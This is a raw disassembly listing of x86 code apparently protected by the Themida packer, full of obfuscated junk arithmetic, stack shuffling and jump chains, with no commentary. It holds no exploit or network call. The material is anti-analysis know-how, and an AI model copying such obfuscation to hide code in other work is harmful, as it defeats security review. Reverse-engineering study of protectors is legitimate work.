jmp loc_5998D6 ; --------------------------------------------------------------------------- loc_595DA6: ; CODE XREF: Themida_:00594EB1j pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_593705 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp push dword ptr [esp] pop esi add esp, 4 push ebx push ebp push ebx push 274E3BEFh pop ebx not ebx add ebx, 17D304D7h add ebx, 5CA94298h mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, 4D2E0B7Bh mov ebx, ebp pop ebp add esi, ebx pop ebx sub esp, 4 mov [esp], ebp push 326A5B56h push dword ptr [esp] pop ebp add esp, 4 jmp loc_59825B ; --------------------------------------------------------------------------- loc_595E0D: ; CODE XREF: Themida_:0059958Bj and ch, bl pop ebx shr ch, 8 xor ch, 0F6h jmp loc_5996C6 ; --------------------------------------------------------------------------- loc_595E1B: ; CODE XREF: Themida_:005A3FB9j add ah, 0E3h xor ah, 0FDh shl ah, 3 sub ah, 1Ch sub esp, 4 mov [esp], ecx jmp loc_595608 ; --------------------------------------------------------------------------- loc_595E32: ; CODE XREF: Themida_:0059C390j not edi jmp loc_59B990 ; --------------------------------------------------------------------------- loc_595E39: ; CODE XREF: Themida_:00596DEAj pop ebp push ecx push ebx jmp loc_59418F ; --------------------------------------------------------------------------- loc_595E41: ; CODE XREF: Themida_:00599023j sub [esp+4], ebp jmp loc_59BC30 ; --------------------------------------------------------------------------- loc_595E4A: ; CODE XREF: Themida_:005A2861j mov esi, ebp pop ebp or esi, 6F597FCAh shl esi, 6 neg esi push ebx jmp loc_590AF0 ; --------------------------------------------------------------------------- loc_595E5E: ; CODE XREF: Themida_:00599748j pop ebp add ebx, 41A63633h jmp loc_59D3BA ; --------------------------------------------------------------------------- loc_595E6A: ; CODE XREF: Themida_:0059085Aj push eax push 33AA278Dh mov eax, [esp] add esp, 4 jmp loc_59656B ; --------------------------------------------------------------------------- loc_595E7E: ; CODE XREF: Themida_:005A1282j add eax, 7F9A7F40h add edi, eax pop eax jmp loc_59A198 ; --------------------------------------------------------------------------- loc_595E8B: ; CODE XREF: Themida_:00596AB8j pop ebx add esp, 4 jmp loc_59C5B9 ; --------------------------------------------------------------------------- loc_595E94: ; CODE XREF: Themida_:005A1C79j mov ebp, 2917278Ch push edi jmp loc_599F87 ; --------------------------------------------------------------------------- loc_595E9F: ; CODE XREF: Themida_:005A1DA4j add esp, 4 mov edi, eax jmp loc_59FE87 ; --------------------------------------------------------------------------- loc_595EAC: ; CODE XREF: Themida_:00593C67j xchg edi, [esp] pop esp jmp loc_59595A ; --------------------------------------------------------------------------- loc_595EB5: ; CODE XREF: Themida_:005945EFj pop esp shr eax, 0Ah xor eax, ecx jmp loc_595ED7 ; --------------------------------------------------------------------------- loc_595EC0: ; CODE XREF: Themida_:005A32C1j push esi mov esi, 515B2770h sub esi, 2E4E6D03h and esi, 0B3F5533h jmp loc_59AAAE ; --------------------------------------------------------------------------- loc_595ED7: ; CODE XREF: Themida_:00595EBBj push eax push esi pop eax jmp loc_59F211 ; --------------------------------------------------------------------------- loc_595EDF: ; CODE XREF: Themida_:00597355j pop ebp sub ebx, 34285062h sub ebx, edx jmp loc_5920CB ; --------------------------------------------------------------------------- loc_595EED: ; CODE XREF: Themida_:00595098j push esi mov esi, 23C83D8Bh push ecx mov ecx, 78427289h jmp loc_5A4FC3 ; --------------------------------------------------------------------------- loc_595EFE: ; CODE XREF: Themida_:005A226Ej pop esi shl eax, 6 sub eax, 247BA633h xor ebp, eax pop eax jmp loc_59BF4E ; --------------------------------------------------------------------------- loc_595F0F: ; CODE XREF: Themida_:0059D7B0j pop ecx sub ebp, 7BF47963h sub ebp, 25FC25B0h mov esi, [esp] jmp loc_597439 ; --------------------------------------------------------------------------- loc_595F24: ; CODE XREF: Themida_:0059DA47j mov [esp], ebp mov ebp, offset dword_5F3EE0 push ebx jmp loc_5A4DCC ; --------------------------------------------------------------------------- loc_595F32: ; CODE XREF: Themida_:00593B5Bj mov ebx, 3D660FC1h add eax, ebx pop ebx pop edx xor ebx, eax push small word ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595F45: ; CODE XREF: Themida_:0059DEF8j push ecx push esi jmp loc_592AC9 ; --------------------------------------------------------------------------- loc_595F4C: ; CODE XREF: Themida_:005A3A7Aj push 2D41h mov [esp], ebp mov ebp, 630172BAh push ecx jmp loc_5A0E2D ; --------------------------------------------------------------------------- loc_595F5F: ; CODE XREF: Themida_:005A3823j mov ebx, 27722946h or esi, ebx jmp $+5 pop ebx not esi or esi, 626944CDh add esi, 674F6F2Eh sub edx, esi pop esi sub esp, 4 mov [esp], eax mov eax, 0 sub eax, 404E6E30h jmp loc_594003 ; --------------------------------------------------------------------------- loc_595F95: ; CODE XREF: Themida_:00595B14j sub ecx, eax push dword ptr [esp] pop eax add esp, 4 mov ebx, ecx pop ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595FA9: ; CODE XREF: Themida_:0059FA6Ej mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], eax xor [esp], edx jmp loc_59A1C0 ; --------------------------------------------------------------------------- loc_595FC0: ; CODE XREF: Themida_:00593629j push ebp mov ebp, esp push ebx push edi push 3025384Fh pop edi not edi jmp loc_591A56 ; --------------------------------------------------------------------------- loc_595FD2: ; CODE XREF: Themida_:0059C919j mov esp, [esp] bts [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_595FE0: ; CODE XREF: Themida_:005944D0j push esi push eax push 261642FAh pop eax xchg eax, ecx not ecx jmp loc_5A2F4D ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], edx jmp loc_599846 ; --------------------------------------------------------------------------- loc_595FFE: ; CODE XREF: Themida_:0059D16Bj pop ebp jmp loc_596211 ; --------------------------------------------------------------------------- loc_596004: ; CODE XREF: Themida_:00591A7Bj mov eax, 0CC81D7DEh add edx, eax pop eax push ecx mov ecx, edx jmp loc_59464D ; --------------------------------------------------------------------------- loc_596014: ; CODE XREF: Themida_:005A333Dj add edx, 4 xchg edx, [esp] jmp loc_59AFD9 ; --------------------------------------------------------------------------- loc_596022: ; CODE XREF: Themida_:0059EF15j mov ebp, 62853B5Ch shl ebp, 2 xor ebp, 0B753FDA0h push edx jmp loc_5958EB ; --------------------------------------------------------------------------- loc_596036: ; CODE XREF: Themida_:0059DD1Bj sub al, dh pop edx mov bx, [esp] push ebx mov ebx, esp push ebp mov ebp, 24FC45A5h push ebp not dword ptr [esp] jmp loc_59CDE7 ; --------------------------------------------------------------------------- loc_59604F: ; CODE XREF: Themida_:005A3EEFj xor [esp], esi xor esi, [esp] pop esp push edx push esi mov esi, 4 mov edx, esi pop esi sub esi, 4E4B28ADh sub esi, 4C397AF8h add esi, edx add esi, 4C397AF8h add esi, 4E4B28ADh pop edx jmp loc_594367 ; --------------------------------------------------------------------------- loc_596080: ; CODE XREF: Themida_:005A36F6j add eax, 11ED67E8h jmp loc_5985FD ; --------------------------------------------------------------------------- loc_59608A: ; CODE XREF: Themida_:005A06EEj xchg ebx, [esp] not ebx xchg ebx, [esp] pop ecx jmp loc_59A6C1 ; --------------------------------------------------------------------------- loc_596098: ; CODE XREF: Themida_:0059157Fj add cl, 0ECh pop dx push eax push ebx mov bl, 0 xor bl, 0D1h mov al, bl jmp loc_5A0726 ; --------------------------------------------------------------------------- loc_5960AB: ; CODE XREF: Themida_:0059F3CBj mov [esp], ecx mov cl, 0D7h jmp loc_590C2A ; --------------------------------------------------------------------------- lodsb jmp loc_5A4848 ; --------------------------------------------------------------------------- loc_5960BB: ; CODE XREF: Themida_:0059D3FFj not ebp xor ebp, 0B9B692Bh sub ebp, 58C6116Ah sub [edi+20h], ebp jmp loc_597335 ; --------------------------------------------------------------------------- loc_5960D1: ; CODE XREF: Themida_:0059646Cj or bx, 6AFFh xor bx, 8029h or ax, bx pop ebx add ax, 8EE0h jmp loc_59117E ; --------------------------------------------------------------------------- loc_5960E8: ; CODE XREF: Themida_:005947F8j xchg ebx, [esp] pop esp jmp loc_5953D2 ; --------------------------------------------------------------------------- loc_5960F1: ; CODE XREF: Themida_:005A4DD1j sub ebp, ebx pop ebx mov edx, ebp jmp loc_59F7E2 ; --------------------------------------------------------------------------- loc_5960FB: ; CODE XREF: Themida_:00596F5Bj add esp, 4 jmp loc_592220 ; --------------------------------------------------------------------------- loc_596103: ; CODE XREF: Themida_:0059CCCAj mov bx, di pop edi pop edx jmp loc_59F29F ; --------------------------------------------------------------------------- loc_59610D: ; CODE XREF: Themida_:005A0225j pop esi add ebp, edx pop edx add edi, 6E010DD6h add edi, ebp jmp loc_59B62F ; --------------------------------------------------------------------------- loc_59611E: ; CODE XREF: Themida_:005A39BAj mov edx, 4 add ecx, edx pop edx sub esp, 4 mov [esp], esi mov esi, 4 add ecx, 14703458h jmp loc_5A1A11 ; --------------------------------------------------------------------------- loc_59613F: ; CODE XREF: Themida_:0059DA37j mov ebx, edi mov esi, ebx pop ebx mov edi, [esp] add esp, 4 jmp loc_5A07D6 ; --------------------------------------------------------------------------- loc_59614F: ; CODE XREF: Themida_:0059729Fj mov ebp, 63C03F27h mov eax, ebp pop ebp jmp loc_5A2231 ; --------------------------------------------------------------------------- dd 0B05065B5h, 0ECED80F2h, 0FFA25CE9h db 0FFh ; --------------------------------------------------------------------------- loc_596169: ; CODE XREF: Themida_:005966ECj add edx, 613F528Eh push eax push edi mov edi, 6F0D28C5h xor edi, 61686790h push esi mov esi, 3E5A60EDh push ebp mov ebp, 4CE334C2h shl ebp, 2 shr ebp, 8 add ebp, 231250B6h sub ebp, 0BD62A0EEh jmp loc_591316 ; --------------------------------------------------------------------------- loc_59619F: ; CODE XREF: Themida_:0059EEA7j mov esi, [esp] add esp, 4 jmp loc_59E284 ; --------------------------------------------------------------------------- loc_5961AD: ; CODE XREF: Themida_:005A27C8j push bx mov bh, 0F3h mov ch, bh jmp loc_5A3695 ; --------------------------------------------------------------------------- loc_5961B8: ; CODE XREF: Themida_:00596CF7j push eax jmp loc_5A2300 ; --------------------------------------------------------------------------- loc_5961BE: ; CODE XREF: Themida_:005A2146j xor ebp, 0E0143C7Dh push esi mov esi, 5A721C5Ah shl esi, 5 or esi, 40DD5EFBh neg esi sub esi, 3EE8CE8Eh sub eax, esi pop esi add eax, ebp add eax, 72375177h pop ebp not eax inc eax inc eax add eax, 65F30DD6h jmp loc_593933 ; --------------------------------------------------------------------------- loc_5961F4: ; CODE XREF: Themida_:005A2D90j mov edx, 669D47DAh jmp loc_5A4C2E ; --------------------------------------------------------------------------- loc_5961FE: ; CODE XREF: Themida_:00591BD5j push ebp mov ebp, 4 add esi, ebp pop ebp xchg esi, [esp] pop esp inc esi jmp loc_59978D ; --------------------------------------------------------------------------- loc_596211: ; CODE XREF: Themida_:00595FFFj and ebx, edi push dword ptr [esp] pop edi add esp, 4 shr ebx, 5 jmp loc_5993CB ; --------------------------------------------------------------------------- loc_596225: ; CODE XREF: Themida_:005A13F1j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_59400A ; --------------------------------------------------------------------------- loc_59623D: ; CODE XREF: Themida_:0059D4A4j xor ebx, 2D2B5364h add edi, ebx pop ebx xchg edi, [esp] pop esp push dword ptr [esp] jmp loc_593722 ; --------------------------------------------------------------------------- loc_596252: ; CODE XREF: Themida_:00596F6Ej sub esp, 4 mov [esp], edx push 0FA9h mov [esp], eax push ebp mov ebp, 2C2D1ABDh mov eax, ebp mov ebp, [esp] add esp, 4 not eax or eax, 243327E9h inc eax jmp loc_5A004E ; --------------------------------------------------------------------------- loc_59627E: ; CODE XREF: Themida_:005A2D52j sub esp, 4 mov [esp], esi push 74A8h jmp loc_59A5B0 ; --------------------------------------------------------------------------- loc_59628E: ; CODE XREF: Themida_:00593685j xchg ebx, edx inc edx xor edx, 23AA293Ch jmp loc_599A47 ; --------------------------------------------------------------------------- loc_59629C: ; CODE XREF: Themida_:005A0E47j push ecx push esp pop ecx add ecx, 4 jmp loc_5A2F3B ; --------------------------------------------------------------------------- loc_5962AA: ; CODE XREF: Themida_:005A02D5j shl edx, 1 neg edx shl edx, 4 xor edx, 0C15CFEFh sub ebx, 649C2585h sub ebx, edx add ebx, 649C2585h pop edx push edx jmp loc_597ED3 ; --------------------------------------------------------------------------- loc_5962CC: ; CODE XREF: Themida_:0059E2BDj sub edx, ecx jmp loc_59934C ; --------------------------------------------------------------------------- loc_5962D3: ; CODE XREF: Themida_:0059ABBEj push ebx mov ebx, 4 add ecx, ebx pop ebx sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov ecx, 0 sub ecx, 4AA727DCh jmp loc_5A046D ; --------------------------------------------------------------------------- loc_5962FB: ; CODE XREF: Themida_:00595881j shl edi, 1 shl edi, 7 jmp loc_591419 ; --------------------------------------------------------------------------- loc_596305: ; CODE XREF: Themida_:00593F15j add esi, 512F1EAh and ecx, esi jmp loc_59DFC3 ; --------------------------------------------------------------------------- loc_596312: ; CODE XREF: Themida_:00594991j and ebp, 33F41B0Ah jmp loc_59944D ; --------------------------------------------------------------------------- loc_59631D: ; CODE XREF: Themida_:0059B08Ej mov edi, ebp jmp loc_59E668 ; --------------------------------------------------------------------------- loc_596324: ; CODE XREF: Themida_:0059E23Bj mov ebp, 3C9F2327h sub ebx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub ebx, eax push 291Ah jmp loc_5A1E2F ; --------------------------------------------------------------------------- loc_596346: ; CODE XREF: Themida_:00594B99j mov edx, esp push esi mov esi, 6AEF4AA3h not esi sub esi, 3054172Ah or esi, 7B1E02h jmp loc_5A0A98 ; --------------------------------------------------------------------------- loc_596361: ; CODE XREF: Themida_:005964BCj mov ebx, 2E49218Fh sub ebx, esi pop esi inc ebx push ecx mov ecx, 8DA6FD9h not ecx sub ecx, 56CD513Dh inc ecx or ecx, 26FF676Ch not ecx push edx mov edx, 3BEF1F4Fh add edx, 0EFECF36h xor ecx, edx pop edx xor ebx, ecx mov ecx, [esp] add esp, 4 sub eax, 28D2533Fh sub eax, ebx push ebp mov ebp, 28D2533Fh jmp loc_595008 ; --------------------------------------------------------------------------- loc_5963AD: ; CODE XREF: Themida_:00599675j mov ecx, [esp] add esp, 4 push 749Eh mov [esp], ecx jmp loc_59C77F ; --------------------------------------------------------------------------- loc_5963C0: ; CODE XREF: Themida_:00599EFCj pop esp mov [esp], edx mov edx, 36DD7D6Ah jmp loc_593624 ; --------------------------------------------------------------------------- loc_5963CE: ; CODE XREF: Themida_:00591D26j push edx jmp loc_5A4E4D ; --------------------------------------------------------------------------- loc_5963D4: ; CODE XREF: Themida_:00593BBBj sub eax, ebp pop ebp jmp loc_59243D ; --------------------------------------------------------------------------- loc_5963DC: ; CODE XREF: Themida_:00598BB6j mov edi, 645E2E09h sub edi, 0E87BA90Eh add ebx, edi pop edi add edi, ebx mov ebx, [esp] add esp, 4 add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] pop esp push 0C89h mov [esp], edi mov edi, 0A7F3732h jmp loc_597361 ; --------------------------------------------------------------------------- loc_596424: ; CODE XREF: Themida_:005919AAj xchg dx, di push small 22D4h mov [esp], bp mov bp, 6F40h xor di, bp mov bp, [esp] add esp, 2 push eax push small 0DC5h mov ax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 2 xchg ebx, [esp] pop esp shr ax, 1 inc ax and ax, 56B2h push ebx mov bx, 8BDh add bx, 7CF2h jmp loc_5960D1 ; --------------------------------------------------------------------------- loc_596471: ; CODE XREF: Themida_:005937A1j push esi push 64FEh mov [esp], esp add dword ptr [esp], 4 pop esi push eax push edi push 11676F2Ah pop edi xor edi, 0EE70E58h add edi, 42FF1F11h dec edi push ebp mov ebp, 42CD6D08h sub ebp, 405613F7h jmp loc_5A364C ; --------------------------------------------------------------------------- loc_5964A8: ; CODE XREF: Themida_:005A23CCj mov [esp], esi mov esi, 2 sub eax, 4B88534Dh push ebx push esi mov esi, 12B71D2Ah jmp loc_596361 ; --------------------------------------------------------------------------- loc_5964C1: ; CODE XREF: Themida_:005A0673j shl ebx, 3 shl ebx, 2 neg ebx jmp loc_599DE0 ; --------------------------------------------------------------------------- loc_5964CE: ; CODE XREF: Themida_:005943AFj xor edx, ebp jmp loc_599438 ; --------------------------------------------------------------------------- loc_5964D5: ; CODE XREF: Themida_:0059DC01j mov [esp], edi push ebp push 61D27B4Ch jmp loc_5A384A ; --------------------------------------------------------------------------- loc_5964E3: ; CODE XREF: Themida_:005A09F4j add eax, 4 add eax, 4 push eax jmp loc_59B017 ; --------------------------------------------------------------------------- loc_5964F1: ; CODE XREF: Themida_:00597928j add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_59C222 ; --------------------------------------------------------------------------- loc_596503: ; CODE XREF: Themida_:005A27AAj add eax, ebp pop ebp jmp loc_5A392A ; --------------------------------------------------------------------------- loc_59650B: ; CODE XREF: Themida_:0059924Bj add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_590A77 ; --------------------------------------------------------------------------- loc_596524: ; CODE XREF: Themida_:005A006Ej sub ebp, 0BA1097F1h sub ecx, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 0A313Ah jmp loc_5A2A0C ; --------------------------------------------------------------------------- loc_59653D: ; CODE XREF: Themida_:005A48DCj pop esi pop ebx push 6D4Bh jmp loc_59B3AD ; --------------------------------------------------------------------------- loc_596549: ; CODE XREF: Themida_:00597434j mov esi, 50931B69h jmp loc_5A0D38 ; --------------------------------------------------------------------------- loc_596553: ; CODE XREF: Themida_:0059AD57j pop eax pop dword ptr [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59655D: ; CODE XREF: Themida_:0059A95Cj pop edi sub ebp, 9AC6E8Ch mov esi, ebp jmp loc_59AF43 ; --------------------------------------------------------------------------- loc_59656B: ; CODE XREF: Themida_:00595E79j mov ecx, 33AA278Fh jmp loc_59BB4A ; --------------------------------------------------------------------------- loc_596575: ; CODE XREF: Themida_:0059D4ABj or ecx, 423762E6h add ecx, 0C532FEDFh sub ebp, ecx mov ecx, [esp] add esp, 4 add ebp, ecx push ecx mov ecx, 1BB45A4Ch sub ecx, 0FFFFFFFFh jmp loc_59778B ; --------------------------------------------------------------------------- loc_596599: ; CODE XREF: Themida_:00594738j mov edi, esp push edx mov edx, 4 add edi, edx pop edx jmp loc_5909DF ; --------------------------------------------------------------------------- loc_5965A9: ; CODE XREF: Themida_:005A134Bj pop edx sub al, bl jmp loc_5A3684 ; --------------------------------------------------------------------------- loc_5965B1: ; CODE XREF: Themida_:005A13E9j pop ecx mov ecx, ebx jmp loc_59932B ; --------------------------------------------------------------------------- loc_5965B9: ; CODE XREF: Themida_:00593695j pop ebx jmp loc_598914 ; --------------------------------------------------------------------------- loc_5965BF: ; CODE XREF: Themida_:0059718Dj add esp, 4 add ebp, 619F7FF1h add ebp, edi sub esp, 4 mov [esp], edx mov edx, 65313E32h jmp loc_590C5F ; --------------------------------------------------------------------------- loc_5965DA: ; CODE XREF: Themida_:005A29F8j add dword ptr [esp], 4 pop ebp push edx mov edx, 4 add ebp, edx pop edx push ebx push eax jmp loc_5A564F ; --------------------------------------------------------------------------- loc_5965EF: ; CODE XREF: Themida_:00593855j neg ebx xor ebx, 0B171380h jmp loc_5A255D ; --------------------------------------------------------------------------- loc_5965FC: ; CODE XREF: Themida_:00591F24j mov eax, esp add eax, 4 add eax, 4 jmp loc_5A29E6 ; --------------------------------------------------------------------------- loc_59660B: ; CODE XREF: Themida_:0059A16Fj add esp, 4 add [esp+4], eax push dword ptr [esp] pop eax jmp loc_5A2089 ; --------------------------------------------------------------------------- loc_59661B: ; CODE XREF: Themida_:0059995Dj mov edx, [esp] push edi jmp loc_5933C4 ; --------------------------------------------------------------------------- loc_596624: ; CODE XREF: Themida_:0059B0FBj add edx, 5B291A9Eh add edx, ebx push ecx mov ecx, 5B291A9Eh jmp loc_591F55 ; --------------------------------------------------------------------------- loc_596637: ; CODE XREF: Themida_:0059EE7Bj and [edi+1Ch], edx push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx mov ebx, esp push eax mov eax, 3A237E26h jmp loc_59EDF2 ; --------------------------------------------------------------------------- loc_596651: ; CODE XREF: Themida_:00590585j shr dl, 8 jmp loc_59AB5F ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 jmp loc_5A0F8F ; --------------------------------------------------------------------------- loc_596668: ; CODE XREF: Themida_:00594783j push eax push esp pop eax add eax, 4 push ecx mov ecx, 4 add eax, ecx jmp loc_5A2FBC ; --------------------------------------------------------------------------- loc_59667D: ; CODE XREF: Themida_:0059EA79j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 push eax mov eax, esp jmp loc_593736 ; --------------------------------------------------------------------------- loc_59668F: ; CODE XREF: Themida_:0059ADEAj and esi, 2FD83BCCh jmp loc_5A25B9 ; --------------------------------------------------------------------------- loc_59669A: ; CODE XREF: Themida_:00594BDCj mov ecx, 6D640C33h mov esi, 996B609Ah add esi, ecx pop ecx xor esi, 51772540h or esi, 61F049CCh push eax mov eax, 2696F466h sub esi, eax pop eax mov ebp, esi mov esi, [esp] add esp, 4 push eax mov eax, esp jmp loc_590791 ; --------------------------------------------------------------------------- loc_5966CC: ; CODE XREF: Themida_:00595058j sub edx, 613F528Eh add edx, 673857E4h sub edx, 4CDF7C3Dh add edx, eax add edx, 4CDF7C3Dh sub edx, 673857E4h jmp loc_596169 ; --------------------------------------------------------------------------- loc_5966F1: ; CODE XREF: Themida_:005A0AF2j add edx, 18341A89h mov eax, edx pop edx inc eax jmp loc_59460E ; --------------------------------------------------------------------------- loc_596700: ; CODE XREF: Themida_:00598E79j push ecx jmp loc_5A2B74 ; --------------------------------------------------------------------------- loc_596706: ; CODE XREF: Themida_:0059A536j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_59F6C5 ; --------------------------------------------------------------------------- loc_596717: ; CODE XREF: Themida_:00597735j push edx mov edx, 75CC11D5h push edx not dword ptr [esp] pop edx jmp loc_59BC24 ; --------------------------------------------------------------------------- loc_596727: ; CODE XREF: Themida_:00597655j mov [esp], bx jmp loc_5973D7 ; --------------------------------------------------------------------------- loc_596730: ; CODE XREF: Themida_:00596C9Aj mov [esp], esi mov esi, 49564922h sub edi, 51D502Dh add edi, esi jmp loc_5941EA ; --------------------------------------------------------------------------- loc_596745: ; CODE XREF: Themida_:0059C107j pop esp xor ebp, 6F8607AFh mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 43CFD7D5h jmp loc_59E6F0 ; --------------------------------------------------------------------------- loc_596765: ; CODE XREF: Themida_:005A480Aj dec ecx push eax mov eax, 0A0579BDFh add ecx, eax pop eax add eax, ecx pop ecx xchg eax, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_596782: ; CODE XREF: Themida_:0059F878j push ebp jmp loc_5A41A1 ; --------------------------------------------------------------------------- loc_596788: ; CODE XREF: Themida_:005A2A80j mov [esp], ebx jmp loc_593BDE ; --------------------------------------------------------------------------- loc_596790: ; CODE XREF: Themida_:0059E72Dj pop esp jmp loc_599DD9 ; --------------------------------------------------------------------------- loc_596796: ; CODE XREF: Themida_:00590796j sub eax, 4 xchg eax, [esp] pop esp jmp loc_596922 ; --------------------------------------------------------------------------- loc_5967A4: ; CODE XREF: Themida_:0059118Bj mov bp, di mov dx, bp mov ebp, [esp] add esp, 4 jmp loc_59F4E2 ; --------------------------------------------------------------------------- loc_5967B8: ; CODE XREF: Themida_:0059DAFEj sub ecx, edi sub ecx, 531217FAh jmp loc_592698 ; --------------------------------------------------------------------------- loc_5967C5: ; CODE XREF: Themida_:005942E1j sub edx, ebp push dword ptr [esp] pop ebp add esp, 4 mov eax, [esp] jmp loc_5A2219 ; --------------------------------------------------------------------------- loc_5967D6: ; CODE XREF: Themida_:00599DF8j pop esi jmp loc_599344 ; --------------------------------------------------------------------------- loc_5967DC: ; CODE XREF: Themida_:00593E88j xchg ebx, [esp] jmp loc_59B67F ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 1900h jmp loc_594B44 ; --------------------------------------------------------------------------- loc_5967F2: ; CODE XREF: Themida_:005934A9j push ecx mov ecx, 5E2A60F0h neg ecx inc ecx add ecx, 1 jmp loc_59314A ; --------------------------------------------------------------------------- loc_596806: ; CODE XREF: Themida_:0059C66Aj mov edi, [esp] push esi mov esi, esp add esi, 4 jmp loc_59BD97 ; --------------------------------------------------------------------------- loc_596817: ; CODE XREF: Themida_:0059AF3Ej add esp, 4 push ecx mov ecx, 63140ECAh not ecx add ecx, 46634058h sub edx, ecx jmp loc_59BA16 ; --------------------------------------------------------------------------- loc_59682F: ; CODE XREF: Themida_:00595503j sub dword ptr [esp+8], 581C7BBBh jmp loc_593285 ; --------------------------------------------------------------------------- loc_59683C: ; CODE XREF: Themida_:005988A8j push ax jmp loc_59D6A2 ; --------------------------------------------------------------------------- loc_596843: ; CODE XREF: Themida_:005A4687j sub ecx, 54E451C6h add ecx, ebp add ecx, 54E451C6h push ebp jmp loc_59A55A ; --------------------------------------------------------------------------- loc_596857: ; CODE XREF: Themida_:00599DE6j mov ebp, ebx pop ebx push edx mov edx, 5B1A007Ch add ebp, edx jmp loc_59541D ; --------------------------------------------------------------------------- loc_596867: ; CODE XREF: Themida_:005A2DCCj xor edx, 6FC87C69h or edx, 45F36C24h xor edx, 717622C4h mov ecx, 66F0910h add ecx, edx pop edx add esi, ecx pop ecx jmp loc_596E46 ; --------------------------------------------------------------------------- loc_596889: ; CODE XREF: Themida_:005A08CDj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_59564C ; --------------------------------------------------------------------------- loc_59689D: ; CODE XREF: Themida_:00593ADAj not ch xchg ch, dl push 36E6h mov [esp], ebx mov bl, 0E8h dec bl xor bl, 77h jmp loc_59AAD0 ; --------------------------------------------------------------------------- loc_5968B5: ; CODE XREF: Themida_:0059C88Dj sub edx, 1 dec edx add edx, 0DF2C3CCBh xor ebx, edx pop edx jmp loc_5A12A8 ; --------------------------------------------------------------------------- loc_5968C7: ; CODE XREF: Themida_:00591C8Fj and eax, esi jmp loc_5A31E8 ; --------------------------------------------------------------------------- loc_5968CE: ; CODE XREF: Themida_:00590E59j shr esi, 6 shl esi, 4 add esi, 3B076E99h sub ebx, esi pop esi xor eax, ebx pop ebx push 602Dh mov [esp], ecx jmp loc_591A70 ; --------------------------------------------------------------------------- loc_5968ED: ; CODE XREF: Themida_:00591BFBj add [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5968F6: ; CODE XREF: Themida_:005974B0j shr edi, 3 neg edi jmp loc_590D70 ; --------------------------------------------------------------------------- loc_596900: ; CODE XREF: Themida_:00590DCAj dec eax not eax push ebp mov ebp, 7E787FC9h add eax, 150E3102h jmp loc_59A97C ; --------------------------------------------------------------------------- loc_596913: ; CODE XREF: Themida_:00591F57j pop ecx pop ebx jmp loc_599B01 ; --------------------------------------------------------------------------- loc_59691A: ; CODE XREF: Themida_:00594EFDj push esi mov esi, esp jmp loc_590670 ; --------------------------------------------------------------------------- loc_596922: ; CODE XREF: Themida_:0059679Fj mov [esp], ebx push ebp jmp loc_592987 ; --------------------------------------------------------------------------- loc_59692B: ; CODE XREF: Themida_:0059817Dj xor al, dl jmp loc_5A108B ; --------------------------------------------------------------------------- loc_596932: ; CODE XREF: Themida_:005A0C61j add ebp, 77D10D1Dh mov esi, [esp] add esp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5A0160 ; --------------------------------------------------------------------------- loc_596949: ; CODE XREF: Themida_:005945F8j pop esp mov [esp], esi pop edi pop esi push ebx mov ebx, 1EC02E4Fh and edi, ebx pop ebx push ebp push edx mov edx, 62AE7F48h neg edx inc edx or edx, 299416D1h xor edx, 0EDB7BA1Dh mov ebp, edx pop edx inc ebp sub ebp, 649C7C57h sub edi, ebp pop ebp jmp loc_5A3C89 ; --------------------------------------------------------------------------- pop small word ptr [edx] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_596988: ; CODE XREF: Themida_:0059F4F3j push eax mov eax, esp jmp loc_592096 ; --------------------------------------------------------------------------- loc_596990: ; CODE XREF: Themida_:005920B0j add esp, 4 add ebp, 4 jmp loc_59293A ; --------------------------------------------------------------------------- loc_59699E: ; CODE XREF: Themida_:0059523Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] or edx, eax jmp loc_5944C6 ; --------------------------------------------------------------------------- loc_5969B4: ; CODE XREF: Themida_:005A1752j shr eax, 0Eh xor eax, ecx xor eax, esi xor esi, eax xor eax, esi push esi push ecx pop esi jmp loc_59878B ; --------------------------------------------------------------------------- loc_5969C7: ; CODE XREF: Themida_:00590D2Ej sub bx, ax mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add bx, bp add bx, 0E74h jmp loc_5A2398 ; --------------------------------------------------------------------------- loc_5969EA: ; CODE XREF: Themida_:00598E1Bj push ebx jmp loc_598AC5 ; --------------------------------------------------------------------------- mov ax, [esp] push 15D4h mov [esp], ecx push esp jmp loc_597F4B ; --------------------------------------------------------------------------- loc_596A02: ; CODE XREF: Themida_:005972DFj mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edi mov edi, 4 add [esp+4], edi jmp loc_59C1B9 ; 